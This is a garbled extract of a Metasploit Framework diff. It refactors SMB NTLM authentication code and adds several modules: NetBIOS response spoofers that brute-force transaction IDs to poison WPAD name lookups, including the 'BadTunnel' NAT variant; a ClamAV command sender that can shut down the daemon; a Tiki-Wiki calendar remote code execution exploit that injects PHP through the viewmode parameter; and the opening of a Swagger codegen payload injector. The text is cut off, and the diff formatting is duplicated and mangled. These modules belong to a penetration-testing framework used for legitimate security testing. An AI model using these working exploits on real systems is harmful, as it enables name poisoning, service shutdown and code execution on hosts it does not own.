native_data << self.native_os + "\x00"
|
native_data << self.native_os + "\x00"
|
||||||
|
@ -892,37 +902,9 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
# Save the temporary UserID for use in the next request
|
# Save the temporary UserID for use in the next request
|
||||||
temp_user_id = ack['Payload']['SMB'].v['UserID']
|
temp_user_id = ack['Payload']['SMB'].v['UserID']
|
||||||
|
|
||||||
# Get default data
|
type3 = @ntlm_client.init_context([blob].pack('m'))
|
||||||
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(blob)
|
type3_blob = type3.serialize
|
||||||
self.challenge_key = blob_data[:challenge_key]
|
self.signing_key = @ntlm_client.session_key
|
||||||
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
|
|
||||||
#netbios name
|
|
||||||
self.default_name = blob_data[:default_name] || ''
|
|
||||||
#netbios domain
|
|
||||||
self.default_domain = blob_data[:default_domain] || ''
|
|
||||||
#dns name
|
|
||||||
self.dns_host_name = blob_data[:dns_host_name] || ''
|
|
||||||
#dns domain
|
|
||||||
self.dns_domain_name = blob_data[:dns_domain_name] || ''
|
|
||||||
#Client time
|
|
||||||
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
|
|
||||||
|
|
||||||
|
|
||||||
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, self.challenge_key, domain,
|
|
||||||
default_name, default_domain, dns_host_name,
|
|
||||||
dns_domain_name, chall_MsvAvTimestamp ,
|
|
||||||
self.spnopt, ntlm_options)
|
|
||||||
enc_session_key = ''
|
|
||||||
self.sequence_counter = 0
|
|
||||||
|
|
||||||
if self.require_signing
|
|
||||||
self.signing_key, enc_session_key, ntlmssp_flags = NTLM_UTILS.create_session_key(ntlmssp_flags, server_ntlmssp_flags, user, pass, domain,
|
|
||||||
self.challenge_key, client_challenge, ntlm_cli_challenge,
|
|
||||||
ntlm_options)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Create the security blob data
|
|
||||||
blob = NTLM_UTILS.make_ntlmssp_secblob_auth(domain, name, user, resp_lm, resp_ntlm, enc_session_key, ntlmssp_flags)
|
|
||||||
|
|
||||||
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
|
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
|
||||||
self.smb_defaults(pkt['Payload']['SMB'])
|
self.smb_defaults(pkt['Payload']['SMB'])
|
||||||
|
@ -944,8 +926,8 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
pkt['Payload'].v['VCNum'] = 1
|
pkt['Payload'].v['VCNum'] = 1
|
||||||
pkt['Payload'].v['Capabilities'] = 0x8000d05c
|
pkt['Payload'].v['Capabilities'] = 0x8000d05c
|
||||||
pkt['Payload'].v['SessionKey'] = self.session_id
|
pkt['Payload'].v['SessionKey'] = self.session_id
|
||||||
pkt['Payload'].v['SecurityBlobLen'] = blob.length
|
pkt['Payload'].v['SecurityBlobLen'] = type3_blob.length
|
||||||
pkt['Payload'].v['Payload'] = blob + native_data
|
pkt['Payload'].v['Payload'] = type3_blob + native_data
|
||||||
|
|
||||||
# NOTE: if do_recv is set to false, we cant reach here...
|
# NOTE: if do_recv is set to false, we cant reach here...
|
||||||
self.smb_send(pkt.to_s)
|
self.smb_send(pkt.to_s)
|
||||||
|
@ -1771,7 +1753,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
# Remove the NetBIOS header
|
# Remove the NetBIOS header
|
||||||
resp_rpkt.slice!(0, 4)
|
resp_rpkt.slice!(0, 4)
|
||||||
|
|
||||||
resp_parm = resp_rpkt[poff, pcnt]
|
_resp_parm = resp_rpkt[poff, pcnt]
|
||||||
resp_data = resp_rpkt[doff, dcnt]
|
resp_data = resp_rpkt[doff, dcnt]
|
||||||
return resp_data
|
return resp_data
|
||||||
|
|
||||||
|
@ -1797,7 +1779,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
# Remove the NetBIOS header
|
# Remove the NetBIOS header
|
||||||
resp_rpkt.slice!(0, 4)
|
resp_rpkt.slice!(0, 4)
|
||||||
|
|
||||||
resp_parm = resp_rpkt[poff, pcnt]
|
_resp_parm = resp_rpkt[poff, pcnt]
|
||||||
resp_data = resp_rpkt[doff, dcnt]
|
resp_data = resp_rpkt[doff, dcnt]
|
||||||
return resp_data
|
return resp_data
|
||||||
|
|
||||||
|
@ -2030,9 +2012,9 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
|
|
||||||
# Creates a new directory on the mounted tree
|
# Creates a new directory on the mounted tree
|
||||||
def create_directory(name)
|
def create_directory(name)
|
||||||
files = { }
|
|
||||||
parm = [0].pack('V') + name + "\x00"
|
parm = [0].pack('V') + name + "\x00"
|
||||||
resp = trans2(CONST::TRANS2_CREATE_DIRECTORY, parm, '')
|
resp = trans2(CONST::TRANS2_CREATE_DIRECTORY, parm, '')
|
||||||
|
resp
|
||||||
end
|
end
|
||||||
|
|
||||||
# public read/write methods
|
# public read/write methods
|
||||||
|
|
|
@ -75,6 +75,8 @@ Gem::Specification.new do |spec|
|
||||||
spec.add_runtime_dependency 'msgpack'
|
spec.add_runtime_dependency 'msgpack'
|
||||||
# get list of network interfaces, like eth* from OS.
|
# get list of network interfaces, like eth* from OS.
|
||||||
spec.add_runtime_dependency 'network_interface'
|
spec.add_runtime_dependency 'network_interface'
|
||||||
|
# NTLM authentication
|
||||||
|
spec.add_runtime_dependency 'rubyntlm'
|
||||||
# Needed by anemone crawler
|
# Needed by anemone crawler
|
||||||
spec.add_runtime_dependency 'nokogiri'
|
spec.add_runtime_dependency 'nokogiri'
|
||||||
# Needed by db.rb and Msf::Exploit::Capture
|
# Needed by db.rb and Msf::Exploit::Capture
|
||||||
|
@ -110,13 +112,14 @@ Gem::Specification.new do |spec|
|
||||||
spec.add_runtime_dependency 'rex-zip'
|
spec.add_runtime_dependency 'rex-zip'
|
||||||
# Library for parsing offline Windows Registry files
|
# Library for parsing offline Windows Registry files
|
||||||
spec.add_runtime_dependency 'rex-registry'
|
spec.add_runtime_dependency 'rex-registry'
|
||||||
|
# Library for parsing Java serialized streams
|
||||||
|
spec.add_runtime_dependency 'rex-java'
|
||||||
|
|
||||||
#
|
#
|
||||||
# Protocol Libraries
|
# Protocol Libraries
|
||||||
#
|
#
|
||||||
spec.add_runtime_dependency 'net-ssh'
|
spec.add_runtime_dependency 'net-ssh'
|
||||||
|
|
||||||
|
|
||||||
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
|
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
|
||||||
# NoMethodError undefined method `dlopen' for Fiddle:Module
|
# NoMethodError undefined method `dlopen' for Fiddle:Module
|
||||||
unless Gem.win_platform?
|
unless Gem.win_platform?
|
||||||
|
|
|
@ -0,0 +1,104 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Udp
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'NetBIOS Response Brute Force Spoof (Direct)',
|
||||||
|
'Description' => %q{
|
||||||
|
This module continuously spams NetBIOS responses to a target for given hostname,
|
||||||
|
causing the target to cache a malicious address for this name. On high-speed local
|
||||||
|
networks, the PPSRATE value should be increased to speed up this attack. As an
|
||||||
|
example, a value of around 30,000 is almost 100% successful when spoofing a
|
||||||
|
response for a 'WPAD' lookup. Distant targets may require more time and lower
|
||||||
|
rates for a successful attack.
|
||||||
|
},
|
||||||
|
'Authors' => [
|
||||||
|
'vvalien', # Metasploit Module (post)
|
||||||
|
'hdm', # Metasploit Module
|
||||||
|
'tombkeeper' # Related Work
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(137),
|
||||||
|
OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]),
|
||||||
|
OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]),
|
||||||
|
OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000])
|
||||||
|
],
|
||||||
|
self.class
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def netbios_spam
|
||||||
|
payload =
|
||||||
|
"\xff\xff" + # TX ID (will brute force this)
|
||||||
|
"\x85\x00" + # Flags = response + authoratative + recursion desired
|
||||||
|
"\x00\x00" + # Questions = 0
|
||||||
|
"\x00\x01" + # Answer RRs = 1
|
||||||
|
"\x00\x00" + # Authority RRs = 0
|
||||||
|
"\x00\x00" + # Additional RRs = 0
|
||||||
|
"\x20" +
|
||||||
|
Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) +
|
||||||
|
"\x00" +
|
||||||
|
"\x00\x20" + # Type = NB
|
||||||
|
"\x00\x01" + # Class = IN
|
||||||
|
"\x00\x04\x93\xe0" + # TTL long time
|
||||||
|
"\x00\x06" + # Datalength = 6
|
||||||
|
"\x00\x00" + # Flags B-node, unique
|
||||||
|
Rex::Socket.addr_aton(@fake_addr)
|
||||||
|
|
||||||
|
stime = Time.now.to_f
|
||||||
|
pcnt = 0
|
||||||
|
pps = 0
|
||||||
|
|
||||||
|
print_status("Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
|
||||||
|
|
||||||
|
live = true
|
||||||
|
while live
|
||||||
|
0.upto(65535) do |txid|
|
||||||
|
begin
|
||||||
|
payload[0,2] = [txid].pack("n")
|
||||||
|
@sock.put(payload)
|
||||||
|
pcnt += 1
|
||||||
|
|
||||||
|
pps = (pcnt / (Time.now.to_f - stime)).to_i
|
||||||
|
if pps > @targ_rate
|
||||||
|
sleep(0.01)
|
||||||
|
end
|
||||||
|
rescue Errno::ECONNREFUSED
|
||||||
|
print_error("Error: Target sent us an ICMP port unreachable, port is likely closed")
|
||||||
|
live = false
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Cleaning up...")
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
connect_udp
|
||||||
|
@sock = self.udp_sock
|
||||||
|
|
||||||
|
@targ_addr = rhost
|
||||||
|
@targ_port = rport
|
||||||
|
@targ_rate = datastore['PPSRATE']
|
||||||
|
@fake_name = datastore['NBNAME']
|
||||||
|
@fake_addr = datastore['NBADDR']
|
||||||
|
|
||||||
|
netbios_spam
|
||||||
|
|
||||||
|
disconnect_udp
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,57 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'ClamAV Remote Command Transmitter',
|
||||||
|
'Description' => %q(
|
||||||
|
In certain configurations, ClamAV will bind to all addresses and listen for commands.
|
||||||
|
This module sends properly-formatted commands to the ClamAV daemon if it is in such a
|
||||||
|
configuration.
|
||||||
|
),
|
||||||
|
'Author' => [
|
||||||
|
'Alejandro Hdeza', # DISCOVER
|
||||||
|
'bwatters-r7', # MODULE
|
||||||
|
'wvu' # GUIDANCE
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' => [
|
||||||
|
[ 'URL', 'https://twitter.com/nitr0usmx/status/740673507684679680/photo/1' ],
|
||||||
|
[ 'URL', 'https://github.com/vrtadmin/clamav-faq/raw/master/manual/clamdoc.pdf' ]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jun 8 2016',
|
||||||
|
'Actions' => [
|
||||||
|
[ 'VERSION', 'Description' => 'Get Version Information' ],
|
||||||
|
[ 'SHUTDOWN', 'Description' => 'Kills ClamAV Daemon' ]
|
||||||
|
],
|
||||||
|
'DefaultAction' => 'VERSION'
|
||||||
|
)
|
||||||
|
)
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(3310)
|
||||||
|
], self.class
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(_ip)
|
||||||
|
begin
|
||||||
|
connect
|
||||||
|
sock.put(action.name + "\n")
|
||||||
|
print_good(sock.get_once)
|
||||||
|
rescue EOFError
|
||||||
|
print_good('Successfully shut down ClamAV Service')
|
||||||
|
ensure
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -31,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
|
|
||||||
if !mssql_login_datastore
|
if !mssql_login_datastore
|
||||||
print_error("#{rhost}:#{rport} - Invalid SQL Server credentials")
|
print_error("Invalid SQL Server credentials")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -150,7 +150,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
login = create_credential_login(login_data)
|
login = create_credential_login(login_data)
|
||||||
|
|
||||||
tbl << [row[0], row[1]]
|
tbl << [row[0], row[1]]
|
||||||
print_good("#{rhost}:#{rport} - Saving #{hashtype} = #{row[0]}:#{row[1]}")
|
print_good("Saving #{hashtype} = #{row[0]}:#{row[1]}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -160,7 +160,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0]
|
is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0]
|
||||||
|
|
||||||
if is_sysadmin == 0
|
if is_sysadmin == 0
|
||||||
print_error("#{rhost}:#{rport} - The provided credentials do not have privileges to read the password hashes")
|
print_error("The provided credentials do not have privileges to read the password hashes")
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,159 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel)',
|
||||||
|
'Description' => %q{
|
||||||
|
This module listens for a NetBIOS name request and then continuously spams
|
||||||
|
NetBIOS responses to a target for given hostname, causing the target to cache
|
||||||
|
a malicious address for this name. On high-speed networks, the PPSRATE value
|
||||||
|
should be increased to speed up this attack. As an example, a value of around
|
||||||
|
30,000 is almost 100% successful when spoofing a response for a 'WPAD' lookup.
|
||||||
|
Distant targets may require more time and lower rates for a successful attack.
|
||||||
|
|
||||||
|
This module works when the target is behind a NAT gateway, since the stream of
|
||||||
|
NetBIOS responses will keep the NAT mapping alive after the initial setup. To
|
||||||
|
trigger the initial NetBIOS request to the Metasploit system, force the target
|
||||||
|
to access a UNC link pointing to the same address (HTML, Office attachment, etc).
|
||||||
|
|
||||||
|
This NAT-piercing issue was named the 'BadTunnel' vulnerability by the discoverer,
|
||||||
|
Yu Yang (@tombkeeper). The Microsoft patches (MS16-063/MS16-077) impact the way
|
||||||
|
that the proxy host (WPAD) host is identified, but do change the predictability
|
||||||
|
of NetBIOS requests.
|
||||||
|
|
||||||
|
},
|
||||||
|
'Authors' => [
|
||||||
|
'vvalien', # Metasploit Module (post)
|
||||||
|
'hdm', # Metasploit Module
|
||||||
|
'tombkeeper' # Vulnerability Discovery
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Actions' =>
|
||||||
|
[
|
||||||
|
[ 'Service' ]
|
||||||
|
],
|
||||||
|
'PassiveActions' =>
|
||||||
|
[
|
||||||
|
'Service'
|
||||||
|
],
|
||||||
|
'DefaultAction' => 'Service',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'http://xlab.tencent.com/en/2016/06/17/BadTunnel-A-New-Hope/'],
|
||||||
|
['CVE', '2016-3213'],
|
||||||
|
['MSB', 'MS16-063'],
|
||||||
|
['CVE', '2016-3236'],
|
||||||
|
['MSB', 'MS16-077']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jun 14 2016'
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),
|
||||||
|
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 137 ]),
|
||||||
|
OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]),
|
||||||
|
OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]),
|
||||||
|
OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def netbios_service
|
||||||
|
@port = datastore['SRVPORT'].to_i
|
||||||
|
|
||||||
|
# MacOS X workaround
|
||||||
|
::Socket.do_not_reverse_lookup = true
|
||||||
|
|
||||||
|
@sock = ::UDPSocket.new()
|
||||||
|
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||||
|
@sock.bind(datastore['SRVHOST'], @port)
|
||||||
|
|
||||||
|
@targ_rate = datastore['PPSRATE']
|
||||||
|
@fake_name = datastore['NBNAME']
|
||||||
|
@fake_addr = datastore['NBADDR']
|
||||||
|
|
||||||
|
print_status("Listening for NetBIOS requests...")
|
||||||
|
|
||||||
|
begin
|
||||||
|
loop do
|
||||||
|
packet, addr = @sock.recvfrom(65535)
|
||||||
|
next if packet.length == 0
|
||||||
|
|
||||||
|
@targ_addr = addr[3]
|
||||||
|
@targ_port = addr[1]
|
||||||
|
break
|
||||||
|
end
|
||||||
|
|
||||||
|
# TODO: Seed our counter based on the TXID of this request
|
||||||
|
print_status("Received a NetBIOS request from #{@targ_addr}:#{@targ_port}")
|
||||||
|
@sock.connect(@targ_addr, @targ_port)
|
||||||
|
|
||||||
|
netbios_spam
|
||||||
|
|
||||||
|
rescue ::Interrupt
|
||||||
|
raise $!
|
||||||
|
rescue ::Exception => e
|
||||||
|
print_error("Error #{e.class} #{e} #{e.backtrace}")
|
||||||
|
ensure
|
||||||
|
@sock.close if @sock
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def netbios_spam
|
||||||
|
payload =
|
||||||
|
"\xff\xff" + # TX ID (will brute force this)
|
||||||
|
"\x85\x00" + # Flags = response + authoratative + recursion desired
|
||||||
|
"\x00\x00" + # Questions = 0
|
||||||
|
"\x00\x01" + # Answer RRs = 1
|
||||||
|
"\x00\x00" + # Authority RRs = 0
|
||||||
|
"\x00\x00" + # Additional RRs = 0
|
||||||
|
"\x20" +
|
||||||
|
Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) +
|
||||||
|
"\x00" +
|
||||||
|
"\x00\x20" + # Type = NB
|
||||||
|
"\x00\x01" + # Class = IN
|
||||||
|
"\x00\x04\x93\xe0" + # TTL long time
|
||||||
|
"\x00\x06" + # Datalength = 6
|
||||||
|
"\x00\x00" + # Flags B-node, unique
|
||||||
|
Rex::Socket.addr_aton(@fake_addr)
|
||||||
|
|
||||||
|
stime = Time.now.to_f
|
||||||
|
pcnt = 0
|
||||||
|
pps = 0
|
||||||
|
|
||||||
|
print_status("Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
|
||||||
|
|
||||||
|
live = true
|
||||||
|
while live
|
||||||
|
0.upto(65535) do |txid|
|
||||||
|
begin
|
||||||
|
payload[0,2] = [txid].pack("n")
|
||||||
|
@sock.write(payload)
|
||||||
|
pcnt += 1
|
||||||
|
|
||||||
|
pps = (pcnt / (Time.now.to_f - stime)).to_i
|
||||||
|
if pps > @targ_rate
|
||||||
|
sleep(0.01)
|
||||||
|
end
|
||||||
|
rescue Errno::ECONNREFUSED
|
||||||
|
print_error("Error: Target sent us an ICMP port unreachable, port is likely closed")
|
||||||
|
live = false
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
loop { netbios_service }
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,151 @@
|
||||||
|
##
|
||||||
|
## This module requires Metasploit: http://metasploit.com/download
|
||||||
|
## Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
###
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'Tiki-Wiki CMS Calendar Command Execution',
|
||||||
|
'Description' => %q(
|
||||||
|
Tiki-Wiki CMS's calendar module contains a remote code execution
|
||||||
|
vulnerability within the viewmode GET parameter.
|
||||||
|
The calendar module is NOT enabled by default. If enabled,
|
||||||
|
the default permissions are set to NOT allow anonymous users
|
||||||
|
to access.
|
||||||
|
|
||||||
|
Vulnerable versions: <=14.1, <=12.4 LTS, <=9.10 LTS and <=6.14
|
||||||
|
Verified/Tested against 14.1
|
||||||
|
),
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'h00die <mike@shorebreaksecurity.com>', # module
|
||||||
|
'Dany Ouellet' # discovery
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'EDB', '39965' ],
|
||||||
|
[ 'URL', 'https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki']
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => %w( php ),
|
||||||
|
'Privileged' => false,
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic Target', {}]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Jun 06 2016'
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(80),
|
||||||
|
OptString.new('TARGETURI', [ true, 'The URI of Tiki-Wiki', '/']),
|
||||||
|
OptString.new('USERNAME', [ false, 'Username of a user with calendar access', 'admin']),
|
||||||
|
OptString.new('PASSWORD', [ false, 'Password of a user with calendar access', 'admin'])
|
||||||
|
], self.class
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
# returns cookie regardless of outcome
|
||||||
|
def authenticate
|
||||||
|
begin
|
||||||
|
# get a cookie to start with
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'tiki-login_scr.php'),
|
||||||
|
'method' => 'GET'
|
||||||
|
)
|
||||||
|
cookie = res ? res.get_cookies : ''
|
||||||
|
# if we have creds, login with them
|
||||||
|
vprint_status('Attempting Login')
|
||||||
|
# the bang on the cgi will follow the redirect we receive on a good login
|
||||||
|
res = send_request_cgi!(
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'tiki-login.php'),
|
||||||
|
'method' => 'POST',
|
||||||
|
'ctype' => 'application/x-www-form-urlencoded',
|
||||||
|
'cookie' => cookie,
|
||||||
|
'vars_post' =>
|
||||||
|
{
|
||||||
|
'user' => datastore['USERNAME'],
|
||||||
|
'pass' => datastore['PASSWORD'],
|
||||||
|
'login' => '',
|
||||||
|
'stay_in_ssl_mode_present' => 'y',
|
||||||
|
'stay_in_ssl_mode' => 'n'
|
||||||
|
}
|
||||||
|
)
|
||||||
|
# double check auth worked and we got a Log out on the page.
|
||||||
|
# at times I got it to auth, but then it would give permission errors
|
||||||
|
# so we want to try to double check everything is good
|
||||||
|
if res && !res.body =~ /Log out/
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} Login Failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||||
|
end
|
||||||
|
vprint_good("Login Successful!")
|
||||||
|
return cookie
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# sends the calendar packet, returns the HTTP response
|
||||||
|
def send_calendar_packet(cookie, data)
|
||||||
|
begin
|
||||||
|
return send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'tiki-calendar.php'),
|
||||||
|
'method' => 'GET',
|
||||||
|
'cookie' => cookie,
|
||||||
|
'vars_get' =>
|
||||||
|
{
|
||||||
|
'viewmode' => "';#{data};$a='"
|
||||||
|
}
|
||||||
|
)
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Version numbers are post auth, so we send a print statement w/
|
||||||
|
# 10 random characters and check for it in the response
|
||||||
|
def check
|
||||||
|
if datastore['USERNAME'] && !datastore['USERNAME'].blank?
|
||||||
|
cookie = authenticate
|
||||||
|
end
|
||||||
|
|
||||||
|
flag = Rex::Text.rand_text_alpha(10)
|
||||||
|
res = send_calendar_packet(cookie, "print(#{flag})")
|
||||||
|
|
||||||
|
if res
|
||||||
|
if res.body =~ /You do not have permission to view the calendar/i
|
||||||
|
fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
|
||||||
|
elsif res.body =~ />#{flag}</
|
||||||
|
Exploit::CheckCode::Vulnerable
|
||||||
|
else
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
if datastore['USERNAME'] && !datastore['USERNAME'].blank?
|
||||||
|
cookie = authenticate
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_status('Sending malicious calendar view packet')
|
||||||
|
res = send_calendar_packet(cookie, payload.encoded)
|
||||||
|
if res && res.body =~ /You do not have permission to view the calendar/i
|
||||||
|
fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,162 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
#
|
||||||
|
# Gems
|
||||||
|
#
|
||||||
|
require 'base64'
|
||||||
|
|
||||||
|
#
|
||||||
|
# Project
|
||||||
|
#
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::FILEFORMAT
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'JSON Swagger CodeGen Parameter Injector',
|
||||||
|
'Description' => %q{
|
||||||
|
This module generates a Open API Specification 2.0 (Swagger) compliant
|
||||||
|
json document that includes payload insertion points in parameters.
|
||||||
|
|
||||||
|
In order for the payload to be executed, an attacker must convince
|
||||||
|
someone to generate code from a specially modified swagger.json file
|
||||||
|
within a vulnerable swagger-codgen appliance/container/api/service,
|
||||||
|
and then to execute that generated code (or include it into software
|
||||||
|
which will later be executed by another victim). By doing so, an
|
||||||
|
attacker can execute arbitrary code as the victim user. The same
|
||||||
|
vulnerability exists in the YAML format.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'ethersnowman <scott_davis@rapid7.com>'
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],
|
||||||
|
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]
|
||||||
|
],
|
||||||
|
'Platform' => %w{ nodejs php java ruby },
|
||||||
|
'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],
|
||||||
|
['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],
|
||||||
|
['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ],
|
||||||
|
